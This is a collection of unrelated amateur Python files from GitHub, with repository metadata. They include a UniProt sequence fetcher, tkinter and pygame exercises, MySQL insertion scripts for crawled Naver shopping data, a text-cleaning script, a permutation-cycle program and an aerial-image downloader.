+{"seq_id":"70438309952","text":"import requests as r\n\n\ndef getSequence(uniprotID):\n    #get the sequence from the uniprot database\n    url = \"http://www.uniprot.org/uniprot/\" + uniprotID + \".fasta\"\n    response = r.post(url)\n    html = ''.join(response.text)\n    html = html.splitlines()\n    html = html[1:]\n    html = ''.join(html)\n    return html\n\ndef getFasta(uniprotIDs, outFile):\n    # get the fasta file from the uniprot database\n    url = \"http://www.uniprot.org/uniprot/\"\n    for uniprotID in uniprotIDs:\n        newUrl = url\n        newUrl += uniprotID + \".fasta\"\n        response = r.post(newUrl)\n        html = ''.join(response.text)\n        # Write to fasta file\n        with open(outFile, \"a\") as file:\n            file.write(html)\n    \n# Read the file \"dataset\" given as parameter\n# For each line call the getSequence function\n# Return a list of sequences\ndef readDataset(dataset, outFile):\n    sequences = []\n    with open(dataset, 'r') as file:\n        for line in file:\n            # remove linebreak which is the last character of the string\n            line = line[:-1]\n            sequence = getSequence(line)\n            sequences.append(sequence)\n    with open(outFile, \"w\") as file:\n        for sequence in sequences:\n            file.write(sequence + \"\\n\")\n\n\nif __name__ == \"__main__\":\n    # Read uniport IDs from file\n    uniprotIDs = []\n    with open(\"insulin2.txt\", \"r\") as file:\n        for line in file:\n            line = line[:-1]\n            uniprotIDs.append(line)\n    getFasta(uniprotIDs)\n","repo_name":"nespar7/CBP_Project","sub_path":"uniprotGet.py","file_name":"uniprotGet.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7715029149","text":"import array as arr\r\n\r\nnumber=arr.array('i',[1,2,3,4,5])\r\nnumber.insert(5,8)\r\nprint(number)\r\n\r\ndel number[1]\r\nprint(number)\r\n\r\nprint(len(number))\r\n\r\nprint(number.buffer_info())\r\n\r\nval=arr.array('i',[1,2,3,4,5])\r\n\r\nnewArr=arr.array(val.typecode, (a for a in val))\r\nfor x in newArr:\r\n    print(newArr.index(x),\"-->\",x)\r\n\r\nval.append(45)\r\nval.insert(0,100)\r\nprint(val)\r\n","repo_name":"SRINIVASAN2001/Python-Programming","sub_path":"array.py","file_name":"array.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3801173229","text":"#####\n# Python By Example\n# Exercise 149\n# Christopher Hagan\n#####\n\n\"\"\"\nWhen the user enters a number in the first box and clicks on the\n“View Times Table” button it should show the times table in\nthe list area. The “Clear” button should clear both boxes.\n\"\"\"\n\nfrom tkinter import *\n\ndef calculateTimesTables():\n    multiplier = int(numberEntry.get())\n    for i in range(1, 13):\n        timesTableBox.insert('end', '{} x {} = {}'.format(i, multiplier, i*multiplier))\n    numberEntry.delete(0, 'end')\n    numberEntry.focus()\n\ndef clearEntryBoxes():\n    numberEntry.delete(0, 'end')\n    timesTableBox.delete(0, 'end')\n    numberEntry.focus()\n\nwindow = Tk()\nwindow.geometry(\"500x500\")\nwindow.title('Times Tables')\n\nnumberLabel = Label(text='Enter a number:')\nnumberLabel.place(x=25, y=50, width=125, height=25)\n\nnumberEntry = Entry(text='')\nnumberEntry.place(x=150, y=50, width=150, height=25)\n\ntimesTableBox = Listbox()\ntimesTableBox.place(x=150, y=100, width=150, height=300)\n\nviewTimesTableButton = Button(text='View Times Table', command=calculateTimesTables)\nviewTimesTableButton.place(x=325, y=100, width=150, height=25)\n\nclearButton = Button(text='Clear', command=clearEntryBoxes)\nclearButton.place(x=325, y=150, width=150, height=25)\n\nwindow.mainloop()\n","repo_name":"nihathalici/Python-By-Example","sub_path":"Alternative-Solutions/CHL-149-Time-Tables/AS-149-time_tables.py","file_name":"AS-149-time_tables.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"39692038399","text":"\n# Database configs\nengine = \"mysql\"\nname = \"lab_acess\"\nuser = \"root\"\nhost = \"127.0.0.1\"\n\n\n# card scanner\nserial_port = \"/dev/ttyACM0\"\n\n# camera port\ncamera_port = 'https://192.168.8.108:8080/video'\n","repo_name":"ThiwankaShan/labAccessControl_System","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":199,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"20012466295","text":"#--------------------------------------------------------\nwith open('fun_file.txt') as close_this_file:\n  setup = close_this_file.readline()\n  punchline = close_this_file.readline()\n  close_this_file.close()\n\nprint(setup)\n\nwith open('logger.csv') as log_csv_file:\n  filex = log_csv_file.read()\nprint(filex)\n\n#--------------------------------------------------------\nimport csv\n\nlist_of_email_addresses = []\nwith open('cool_csv.csv') as cool_csv_file:\n  cool_csv_dict = csv.DictReader(cool_csv_file)\n  for row in cool_csv_dict:\n    print(row[\"Cool Fact\"])\n    \n#--------------------------------------------------------\nimport csv\n\nwith open('books.csv') as books_csv:\n  books_reader = csv.DictReader(books_csv, delimiter='@')\n  isbn_list = [book['ISBN'] for book in books_reader]\n","repo_name":"ssaulrj/codes-python","sub_path":"codeacademy-python3/files/file_csv.py","file_name":"file_csv.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10876327995","text":"import pygame\nimport math\nimport time\nimport random\n\n# Needed to initialize pygame\npygame.init()\n\n# Define some Constants\nBLACK = (0, 0, 0)\nCYAN = (0, 255, 255)\nWHITE = (255, 255, 255)\nGREY = (100, 100, 100)\nGREEN = (0, 255, 0)\nRED = (255, 0, 0)\nBLUE = (0, 0, 255)\nBLUE_SHIRT = (46, 194, 201)\nBLUE_JEANS = (64, 92, 200)\nSKIN = (250, 209, 137)\nSKIN_NOSE = (201, 162, 93)\nSKIN_DARK = (79, 58, 23)\n    \nFPS = 60    #Frames per Second\n\nfont = pygame.font.Font(None, 25)\n\n# Manipulated Values ============================================================== SCREEN SIZE\nSCREEN_WIDTH = 1100 #96 + 100 (starding cord)\nSCREEN_HEIGHT = 720 #192 + 100(starding cord)\n\n# Set the width and height of the screen [width,height]\nsize = [SCREEN_WIDTH,SCREEN_HEIGHT]\nscreen = pygame.display.set_mode(size)\n\npygame.display.set_caption(\"Mansur's Character\")\n\n# Used to manage how fast the screen updates\nclock = pygame.time.Clock()\n\n#Loop until the user clicks the close button.\ndone = False\n\n# Position, scale, and other variables ================================================================ Character position and scale\nx = 100\ny = 100\nsize = 1\ndelta_x = 3\ndelta_y = 3\ncharBox_x = 96\ncharBox_y = 192\n\nclickScore = 0\n\n##########################\nfile = open(\"highscores.txt\")\n\nbackground_position = [0,0]\n\ntimeLimit = 59\nframeCount = 0\nframeTotal = timeLimit * FPS\n\nfont = pygame.font.Font(None, 32)\n\nclickPos = (False, False, False)\n\npygame.mixer.music.load(\"cat.ogg\")\npygame.mixer.music.play()\n\nclick_sound = pygame.mixer.Sound(\"Hurt.wav\")\nmiss_sound = pygame.mixer.Sound(\"Click.wav\")\n\nbackground_image = pygame.image.load(\"minecraft.jpg\").convert()\n\npointer = pygame.image.load(\"pointer.png\").convert()\npointer.set_colorkey(WHITE)\n\ndef drawChar(x, y, scale):\n    \"\"\" Draws the character \"\"\"\n    # Head\n    pygame.draw.rect(screen, SKIN, [x + 24 * scale, y + 0 * scale, 48 * scale, 48 * scale])\n    pygame.draw.rect(screen, SKIN_DARK, [x + 24 * scale, y + 0 * scale, 48 * scale, 12 * scale])\n    pygame.draw.rect(screen, SKIN_DARK, [x + 24 * scale, y + 12 * scale, 6 * scale, 6 * scale])\n    pygame.draw.rect(screen, SKIN_DARK, [x + 66 * scale, y + 12 * scale, 6 * scale, 6 * scale])\n    \n    pygame.draw.rect(screen, SKIN_DARK, [x + 36 * scale, y + 42 * scale, 24 * scale, 6 * scale])\n    pygame.draw.rect(screen, SKIN_DARK, [x + 36 * scale, y + 36 * scale, 6 * scale, 6 * scale])\n    pygame.draw.rect(screen, SKIN_DARK, [x + 54 * scale, y + 36 * scale, 6 * scale, 6 * scale])\n\n    # Body\n    pygame.draw.rect(screen, BLUE_SHIRT, [x + 0 * scale, y + 48 * scale, 96 * scale, 72 * scale])\n    pygame.draw.rect(screen, SKIN, [x + 0 * scale, y + 72 * scale, 24 * scale, 48 * scale])\n    pygame.draw.rect(screen, SKIN, [x + 72 * scale, y + 72 * scale, 24 * scale, 48 * scale])\n    pygame.draw.rect(screen, (230, 189, 117), [x + 36 * scale, y + 48 * scale, 24 * scale, 6 * scale])\n    pygame.draw.rect(screen, (230, 189, 117), [x + 42 * scale, y + 54 * scale, 12 * scale, 6 * scale])\n\n    # legs\n    pygame.draw.rect(screen, BLUE_JEANS, [x + 24 * scale, y + 120 * scale, 48 * scale, 72 * scale])\n    pygame.draw.rect(screen, (80, 80, 80), [x + 24 * scale, y + 180 * scale, 48 * scale, 12 * scale])\n    \n    # eyes & nose\n    pygame.draw.rect(screen, WHITE, [x + 30 * scale, y + 24 * scale, 12 * scale, 6 * scale])\n    pygame.draw.rect(screen, WHITE, [x + 54 * scale, y + 24 * scale, 12 * scale, 6 * scale])\n##    pygame.draw.rect(screen, (93, 80, 179), [x + 36 * scale, y + 24 * scale, 6 * scale, 6 * scale])\n##    pygame.draw.rect(screen, (93, 80, 179), [x + 54 * scale, y + 24 * scale, 6 * scale, 6 * scale])\n    pygame.draw.rect(screen, SKIN_NOSE, [x + 42 * scale, y + 30 * scale, 12 * scale, 6 * scale])\n\ndef cPoint(x, y, rect_x, rect_y, rectWidth, rectHeight):\n    \"\"\" This function checks whether if a point is within a rectangle\"\"\"\n    if x in range(int(rect_x), (int(rect_x) + rectWidth + 1)) and y in range(int(rect_y), (int(rect_y) + rectHeight + 1)):\n        click_sound.play()\n        return x, y\n    else:\n        miss_sound.play()\n        return False\n\ndef getTimeLeft(frameTotal, frameCount, FPS, font):\n    \"\"\" get how much time are left, and return it\"\"\"\n    # Get total seconds\n    timeSeconds_total = (frameTotal - frameCount) // FPS\n\n    # get minutes\n    timeMinutes = timeSeconds_total // 60\n\n    # get seconds\n    timeSeconds = timeSeconds_total % 60\n\n    # asssemble the output string\n    timeOutput = \"Time left: {0:02}:{1:02}\".format(timeMinutes, timeSeconds)\n\n    # Blit the text to the screen\n    timeReturn = font.render(timeOutput, True, CYAN)\n    \n    return (timeSeconds, timeReturn)\n\ndef displayScore(clickScore):\n    \"\"\" displays the score on the screen \"\"\"\n    scoreOutput = \"Score: {0:02}\".format(clickScore)\n    scoreReturn = font.render(scoreOutput, True, CYAN)\n\n    return (scoreReturn)\n\n# Evnet loops\npygame.mouse.set_visible(False)\nwhile done == False:\n    pos = pygame.mouse.get_pos()\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            done = True\n        if event.type == pygame.MOUSEBUTTONDOWN:\n            clickPos = pygame.mouse.get_pressed()\n            if clickPos[0] == True:\n                checkPoint = cPoint(pos[0], pos[1], x, y, (96 * size), (192 * size))\n                if checkPoint != False:\n                    clickScore += 1\n                    if delta_x < 0:\n                        delta_x -= 1\n                    else:\n                        delta_x += 1\n                    if delta_y > 0:\n                        delta_y += 1\n                    else:\n                        delta_y -= 1\n        if event.type == pygame.KEYDOWN:\n            if event.key == pygame.K_r:\n                clickScore -= 10\n                if delta_x > 0:\n                    delta_x = 3\n                elif delta_x < 0:\n                    delta_x = -3\n                if delta_y > 0:\n                    delta_y = 3\n                elif delta_y < 3:\n                    delta_y = -3\n            if event.key == pygame.K_ESCAPE:\n                done = True\n                \n    screen.blit(background_image, background_position)\n\n    timeInfo = getTimeLeft(frameTotal, frameCount, FPS, font)\n    scoreInfo = displayScore(clickScore)\n    \n    if timeInfo[0] == 0:\n        done = True\n    else:\n        screen.blit(timeInfo[1], [920, 10])\n        screen.blit(scoreInfo, [10, 10])\n    \n    # Draws and moves the character\n    drawChar(x, y, size)\n    x += delta_x\n    y += delta_y\n\n    # Makes the character BOUNCE!\n    if y > (SCREEN_HEIGHT - (charBox_y * size)) or y < 0:\n        delta_y = delta_y  * -1\n    if x > (SCREEN_WIDTH - (charBox_x * size)) or x < 0:\n        delta_x = delta_x  * -1\n\n    pointer_x = pos[0] - 16\n    pointer_y = pos[1] - 16\n\n    screen.blit(pointer, [pointer_x, pointer_y])\n    \n    # Go ahead and update the screen with what we've drawn.\n    pygame.display.flip()\n    \n    frameCount += 1\n\n    \n\n    # Limit to FPS frames per second\n    clock.tick(FPS)\n# -------- End of Main Program Loop --------\n\n# Close the window and quit.\n# If you forget this line, the program will 'hang'\n# on exit if running from IDLE.\npygame.quit()\n\nprint(\"You got a score of\", clickScore)\nask_score = str(input(\"Would you like to save your name and score? \"))\nif ask_score.lower() in \"nopenahneinfalse\":\n    exit()\nelse:\n    ask_name = str(input(\"What is your name? \"))\n","repo_name":"FSXAC/PythonSandbox","sub_path":"Pygame/Character Clicker/Project - Character Clicker.py","file_name":"Project - Character Clicker.py","file_ext":"py","file_size_in_byte":7339,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"36662286016","text":"import calendar\nimport numpy as np\n\n\ndef _monthlytable(nav):\n    \"\"\"\n    Get a table of monthly returns\n\n    :param nav:\n\n    :return:\n    \"\"\"\n    r = nav.pct_change().dropna()\n    # Works better in the first month\n    # Compute all the intramonth-returns, instead of reapplying some monthly resampling of the NAV\n    return_monthly = r.groupby([lambda x: x.year, lambda x: x.month]).apply(lambda x: (1 + x).prod() - 1.0)\n    frame = return_monthly.unstack(level=1).rename(columns=lambda x: calendar.month_abbr[x])\n    a = (frame + 1.0).prod(axis=1) - 1.0\n    frame[\"STDev\"] = np.sqrt(12) * frame.std(axis=1)\n    # make sure that you don't include the column for the STDev in your computation\n    frame[\"YTD\"] = a\n    frame.index.name = \"Year\"\n    # most recent years on top\n    return frame.iloc[::-1]","repo_name":"jclosure/pyutil","sub_path":"pyutil/performance/_month.py","file_name":"_month.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28585334969","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 23 11:23:48 2019\n\n@author: ptck\n\"\"\"\n\nimport mysql.connector\nimport json\nimport csv\nimport time\nimport datetime\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=DeprecationWarning)\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport db_common as common\nimport crawling as cr\n\n\ndef read_file_related(filename) :\n    # db에 없는 새로운 데이터일 경우\n    origin_input_path = './dbproj/includes/'\n    # csv file 읽기 위함\n    f = filename\n    models = []\n    with open(origin_input_path+f, 'r', newline='') as file:\n        \n        for num,line in enumerate(file.readlines()):\n            \n            lines = line.split(',')\n            # 0 row에는 필요없는 정보\n            if num <=0:\n                continue\n            \n            # keyword 삽입\n            models.append(lines[0].replace('\\r','').replace('\\n',''))\n            # 모델명만 가져오기 위함\n            \n    return models\n\ndef put_related(key,cursor):\n    # 처음에 디비에 넣을 때 값\n    ## host = DB주소(localhost 또는 ip주소), user = DB id, password = DB password, db = DB명\n    #curs = cnx.cursor()\n    \n\n    \n    ## host = DB주소(localhost 또는 ip주소), user = DB id, password = DB password, db = DB명\n    # 품목 업데이트 됐을 경우에 처음에 넣어줘야함.\n    Da_1 = datetime.datetime.now()\n    DATE = Da_1.strftime('%Y/%m/%d/%H')\n    data = []\n    data_2 = {}\n    for i,j in enumerate(key):\n        #data_2['{}'.format(j)]=df[i]\n        #c = data_2['{}'.format(j)]\n        #a = (i+1,'{}'.format(j),'related',json.dumps(c,ensure_ascii=False),1,1)\n        c = {}\n        a = ['{}'.format(j),DATE,DATE]\n        data.append(a)\n\n    data=data\n    sql = \"\"\"insert into naver_related_keywords(keyword,created_by,updated_by)\n         values (%s, %s, %s)\"\"\"\n         \n         \n    cursor.executemany(sql, data)\n    cnx.commit()\n    \n    cnx.close()\n\n    return None\n\n##-----------------------------------------------------------------\n    \n    \ndef read_file_search(filename) :\n    origin_input_path='./dbproj/includes/'\n    # csv file 읽기 위함\n    f = filename\n    models = dict()\n    with open(origin_input_path+f, 'r', newline='') as file:\n        models['keyword']=[]\n        models['model']=[]\n        for num,line in enumerate(file.readlines()):\n            # 0번째에는 품목명이니까 제외\n            lines = line.split(',')[1:]\n            # 0,1 row에는 필요없는 정보\n            if num <=1:\n                continue\n            # 키워드가 빈 스트링일 경우 더이상 키워드 없음\n            if lines[0]=='':\n                break\n            \n            # keyword 삽입\n            models['keyword'].append(lines[0])\n            # 모델명만 가져오기 위함\n            try :\n            \n                a = lines.index('')\n                models['model'].append(lines[1:a])\n            except:\n                models['model'].append(lines[1:])\n                \n            \n    #print(csv_data)\n    return models\n    \n\ndef put_keyword_search(models,cursor):\n    \n    Da_1 = datetime.datetime.now()\n    DATE = Da_1.strftime('%Y/%m/%d/%H')    \n    keyword = models['keyword']\n    sql = \"\"\"INSERT INTO nshop_search_keywords(keyword, created_by, updated_by)\n    VALUES(%s, %s, %s)\"\"\"\n    data = []\n    for i in keyword:\n        \n        data.append([i, DATE, DATE])\n\n    cursor.executemany(sql,data)\n    cnx.commit()\n    cnx.close()\n    \n    return None\n    \n    \ndef put_model_search(models,cursor):\n\n\n    keyword = models['keyword']\n    model = models['model']\n    data = []\n\n    Da_1 = datetime.datetime.now()\n    DATE = Da_1.strftime('%Y/%m/%d/%H')\n    sql = \"\"\"INSERT INTO nshop_search_models (keyword, model, created_by, updated_by)\n    VALUES(%s, %s, %s, %s)\"\"\"\n\n    #word_id 리스트 불러옴  ### 만약 키워드가 추가 되어서 이값이 늘어나도 상관없음 길이만큼 적용이라\n    \n    for index,mo_all in enumerate(model) : #TV [...models....] 이렇게 뽑혀나옴\n\n        for ind,mo in enumerate(mo_all) :\n            \n            #뽑혀나온 ₩[models] 하나에서 [wid와 모델명하나]를 뽑아옴\n\n            data.append([keyword[index], mo, DATE, DATE])    # model_name에 .strip() 함수를 추가해줌. \\n \\w 없애줌\n\n\n    #curs.executemany(sql, [(w,) for w in map(lambda t: t[0], data)])\n    cursor.executemany(sql, data)\n    cnx.commit()\n    cnx.close()\n\n    return None\n\n\ndef put_Table_search(cursor):\n\n    keyword = common.get_nkey_func(cursor)\n    sql = '''INSERT INTO nshop_search_records (day_id, keyword, model, rank_id, is_organic, reviews, is_price, created_by, updated_by)\n    VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s)'''\n    \n    Da_1 = datetime.datetime.now()\n    DATE = Da_1.strftime('%Y/%m/%d/%H')\n    day = Da_1.strftime('%Y%m%d')   #참조테이블이 돌아가서 저장이 된 후 디비를 넣는거라 시간 간격이 있을듯. 그냥 14시로 고정??\n    #k는 키워드 하나씩 받음 ex)\"TV\" return 값은 랭크,품목명,리뷰수,최저가 순으로 4개\n\n    #위에 원래는 w=1 이였음. 만약 auto_increment되면 w값 어팬드 안해도 자동으로 들어갈듯.\n    #나중에 디비에서 w(즉 ref테이블의 id)에 자동증가 속성 추가 성공하면 w빼는 작업 필요할듯\n    for i in keyword:\n        \n        raw_data = cr.ref_Table(i)   #i로 TV가 하나 들어가면 30페이지 까지의 참조 데이터 가져오기\n        data =[]\n        \n        for m in raw_data: # m는 오가닉아이템 긁어온 1000개만큼 돌리는거임\n\n            # 키워드 하나당, len(item_rank) 만큼 돌면서 밑에 값을 다 채워 넣음)\n            #### 첫번째 1 이 프라임키라서 이거 다 다른 값 넣어줘야 함.... 으엉...\n            data.append([day, m[0], m[1], m[2], m[3], m[4], m[5], DATE, DATE])\n        cursor.executemany(sql, data)  #\n        cnx.commit()                #\n        data.clear()                 #\n        print(\"진행중...\"+i+\"완료...\")\n\n\n        #id 는 계속 증가해야되고, wid는 (214....)와 맞물려 있는 값이고, day는 고정값, hour 고정값, 뒤에는 받아오기\n\n        # word_id 가 key는 Mul 인데, index는 unique임....\n        # day, hour 도 uniqe index로 설정되어있다.\n\n    #curs.executemany(sql, data)\n    # 나중에 data를 3만개 다 리스트에 넣고 익스큐트 하지말고 천개 넣고 익스큐트하고 이런식으로 변경필요\n    #conn.commit()\n    cnx.close()\n\n    return None\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"matherrr/brad","sub_path":"db_put.py","file_name":"db_put.py","file_ext":"py","file_size_in_byte":6734,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8266721244","text":"import csv\nfrom time import sleep\nfrom tqdm import tqdm\nimport pickle\nimport re\n\nop_file= open(\"1.processed.csv\", \"w\")\nunique_words_file= open(\"1.uniques.obj\", \"wb\")\n\n\ndef process_line(line:str):\n    line= line.lower()\n    to_be_replaced= [\n        [\"'ll\", \" will\"],\n        [\"n't\", \"n not\"],\n        [\"'s\", \" is\"],\n        [\"'re\", \" are\"],\n        [\"'d\", \" would\"],\n        [\"'m\", \" am\"],\n    ]\n\n    for oldval, newval in to_be_replaced:\n        line= line.replace(oldval, newval)\n    \n\n    to_be_removed= [\"\\\"\", \"\\'\", \"?\", \".\", \"!\", \"@\", \"(\", \")\", \"$\", \",\", \";\", \"/\", \":\"]\n\n    for val in to_be_removed:\n        line= line.replace(val, \"\")\n\n    for space_count in range(2, 5):\n        line= line.replace(\" \"*space_count, \" \")\n\n    return line\n\n\nwords_to_remove= list()\ndef print_stats(d):\n    global words_to_remove\n    print(\"  ---------------------\")\n    print(\"  Total unique words:\", len(d))\n    freq_d= dict()\n    for word in d:\n        freq= d[word]\n        if freq not in freq_d: freq_d[freq]=[]\n        freq_d[freq].append(word)\n    \n    freqs= list(freq_d.keys())\n    freqs.sort()\n\n    for x in freqs[:20]+freqs[:-6:-1]:\n        print(\"  Words with frequency\",x, \" : \", len(freq_d[x]), \"eg:\", freq_d[x][:3])\n\n    words_with_less_freq= list()\n    for x in freqs[:20]:\n        words_with_less_freq.extend(freq_d[x])\n    f= open(\"1.less_freq.obj\", \"wb\")\n    pickle.dump(words_with_less_freq, f)\n    f.close()\n    print(\"   less frequent words count:\", len(words_with_less_freq))\n    print(\"   remaining:\", len(d)-len(words_with_less_freq))\n    words_to_remove= words_with_less_freq\n\n\n\nunique_words= {}\n\n\nwith open(\"1.csv\") as file:\n    d= csv.reader(file, delimiter=\",\")\n    for line_idx, line in tqdm(enumerate(d)):\n        if line_idx==0: continue\n        line= line[0]\n        line= process_line(line)\n        op_file.write(\"\\n\")\n\n        words= line.split(\" \")\n        for w in words:\n            if w not in unique_words:\n                unique_words[w]=0\n            unique_words[w]+=1\n        op_file.write(line)\n\n    print_stats(unique_words)\n\n    pickle.dump(unique_words, unique_words_file, protocol=pickle.HIGHEST_PROTOCOL)\n    unique_words_file.close()\n    op_file.close()\n    file.close()\n\n\n\n\n\n\n\n#################################################################################\n\n\n\n\nprint(\" Unique_words_len:\", len(unique_words))\nprint(\" removable_words_len:\", len(words_to_remove))\nwords_to_keep= set(unique_words)-set(words_to_remove)\nprint(\" Words_to_keep:\", len(words_to_keep))\n\nop_with_less_freq_word_removed= open(\"1.replaced.final.csv\", \"w\")\nLINE_MIN_LEN, LINE_MAX_LEN= 7, 15\n\nnew_uniques= set()\nwith open(\"1.processed.csv\") as file:\n    for line_no, line in tqdm(enumerate(file)):\n        line= line.rstrip(\"\\n\")\n        words= line.split(\" \")\n        if len(words)<LINE_MIN_LEN or len(words)>LINE_MAX_LEN:\n            continue\n        words= [w if w in words_to_keep else \"INFQ_W\" for w in words]\n        for w in words:\n            new_uniques.add(w)\n        line= \" \".join(words)\n        for x in range(2,6):\n            line= line.replace(\" \"*x, \" \")\n        op_with_less_freq_word_removed.write(line)\n        op_with_less_freq_word_removed.write(\"\\n\")\n    op_with_less_freq_word_removed.close()\n\nprint(\" ->Remaining uniques:\", len(new_uniques))\n# print(new_uniques)","repo_name":"N7K5/Robo_Lang","sub_path":"data/process_data_1.py","file_name":"process_data_1.py","file_ext":"py","file_size_in_byte":3298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8196617161","text":"# Write a program that writes a given permutation as a product of disjoint cycles (and of transpositions).\n\n\n# Gets inputPermutations\n# Creates mappedPermutations\n# Return list of cycles as a whole list\ndef ReturnDisjointCyclesAsList(inputPermutations):\n    mappedPermutations = dict()\n    resultDisjointCycles = list()\n\n    for i in (range(len(inputPermutations))):\n        mappedPermutations[i + 1] = inputPermutations[i]\n\n    # Main Logic\n    while mappedPermutations != {}:\n        pastValue = list(mappedPermutations.keys())[0] # Get first index for mapped permutation\n        tempList = [pastValue] # List for each cycle\n\n        while True:\n            actualValue = mappedPermutations[pastValue]\n            del mappedPermutations[pastValue] # Delete mapped permutation (1 -> 5) after 5 is actualValue\n\n            # For ex. 1 -> 5 -> 4 -> 1 or 2 -> 2\n            if tempList[0] == actualValue or pastValue == actualValue:\n                break \n            else:\n                tempList.append(actualValue)\n                pastValue = actualValue\n        \n        resultDisjointCycles.append(tempList)\n    # Return\n    return resultDisjointCycles\n\n\n# Return Transpositions of Cycle (> 2)\ndef ReturnTranspositionOfOneCycleAsList(cycle):\n    resultTranspositions = []\n    revCycle = cycle[::-1]\n    \n    for i in range(1, len(revCycle)):\n        couple = [revCycle[i-1], revCycle[i]]\n        resultTranspositions.append(couple)\n            \n    return resultTranspositions\n\n\n# Get disjointCycles\n# Returns 2-cycles (a.k.a transposition)\ndef ReturnTranspositionCyclesAsList(disjointCycles):\n    resultTranspositionedCycles = []\n\n    for cycle in disjointCycles:\n        if len(cycle) > 2:\n            transpositionList = ReturnTranspositionOfOneCycleAsList(cycle)\n            for i in transpositionList:\n                resultTranspositionedCycles.append(i)\n\n        else:\n            resultTranspositionedCycles.append(cycle) \n\n    return resultTranspositionedCycles\n\n\n\n# Return: List of Cycles except 1-cycles\ndef ReturnCyclesExceptOneCycle(resultCycles):\n    return [cycle for cycle in resultCycles if len(cycle) > 1]\n\n\n\n# Gets list of cycles and \n# Returns them like we write in paper\ndef ReturnCyclesAsString(resultCycles):\n    resultString = \"\"\n\n    for i in resultCycles:\n        resultString += f\"({', '.join(list(map(str, (i))))}) \"\n    \n    return resultString\n\n\n\n# My Driver\nif __name__ == '__main__':\n    inputPermutations = list(map(int, input().split()))\n    print(\"---------------------------------------------\\n\")\n\n    disjointCycles = ReturnDisjointCyclesAsList(inputPermutations)\n    print(\"Disjoint cycles:\", ReturnCyclesAsString(disjointCycles))\n\n    transpositionCycles = ReturnTranspositionCyclesAsList(disjointCycles)\n    if disjointCycles != transpositionCycles:\n        print(\"Transpositions:\", ReturnCyclesAsString(transpositionCycles))\n    else:\n        print(\"We don't need to show cycle as a product of transpositions\")\n\n\n    # Other Version of Printing\n    print(\"---------------------------------------------\\n\")\n\n    disjointCycles = ReturnCyclesExceptOneCycle(ReturnDisjointCyclesAsList(inputPermutations))\n    print(\"Disjoint cycles:\", ReturnCyclesAsString(disjointCycles))\n\n    transpositionCycles = ReturnCyclesExceptOneCycle(ReturnTranspositionCyclesAsList(disjointCycles))\n    if disjointCycles != transpositionCycles:\n        print(\"Transpositions:\", ReturnCyclesAsString(transpositionCycles))\n    else:\n        print(\"We don't need to show cycle as a product of transpositions\")\n\n\n    print(\"---------------------------------------------\\n\")\n    if len(transpositionCycles) % 2:\n        print(\"This permutation is ODD\")\n    else:\n        print(\"This permutation is EVEN\")\n\n\n    print(\"---------------------------------------------\\n\")\n\n    input(\"Press any key to EXIT:\")","repo_name":"s3m3dov/uni_disjoint_cycle","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9549528537","text":"import xlrd\n\n#导入作者名存在author集合里\nfile = xlrd.open_workbook('./youshen_url.xls')\nwriters = []        #作者名和文章一一对应\narticles = []       #文章名\nurl = []\ntables = file.sheets()\ntable = file.sheets()[0]\nfor i in range(table.nrows-1):\n    writers.append(table.row_values(i+1)[0])\n#print(authors)\n#文章放在article里\nfor i in range(table.nrows-1):\n    articles.append(table.row_values(i+1)[1])\n\nfor i in range(table.nrows-1):\n    url.append(table.row_values(i+1)[2])\nprint(url[5])","repo_name":"crazypeng123/workspace2","sub_path":"youshen/Input_url.py","file_name":"Input_url.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33897380185","text":"#!/usr/bin/env python3\n\nimport pandas as pd # Read CSV\nimport requests # Make web requests\nimport os\nfrom tqdm.auto import tqdm # Progress bar\nimport glob # Matching filenames\n\nfiles = glob.glob(\"*.csv\")\n\nfor file in files:\n    df = pd.read_csv(file)\n    for i,row in tqdm(df.iterrows(), total=df.shape[0]):\n        url = f\"https://files.interpret.co.nz/Retrolens/Imagery/SN{row.Survey}/{row.Released_F}/High.jpg\"\n        folder = f\"{row.Region_1}/{row.Site}/{row.Date[-4:]}\"\n        os.makedirs(folder, exist_ok=True)\n        filename = f\"{folder}/{row.Released_F}.jpg\"\n        if os.path.exists(filename):\n            print(f\"{filename} exists, skipping\")\n            continue\n        print(f\"Fetching {url}\")\n        r = requests.get(url)\n        print(f\"Writing to {filename}\")\n        with open(filename, \"wb\") as f:\n            f.write(r.content)","repo_name":"UoA-eResearch/retrolens","sub_path":"fetch.py","file_name":"fetch.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
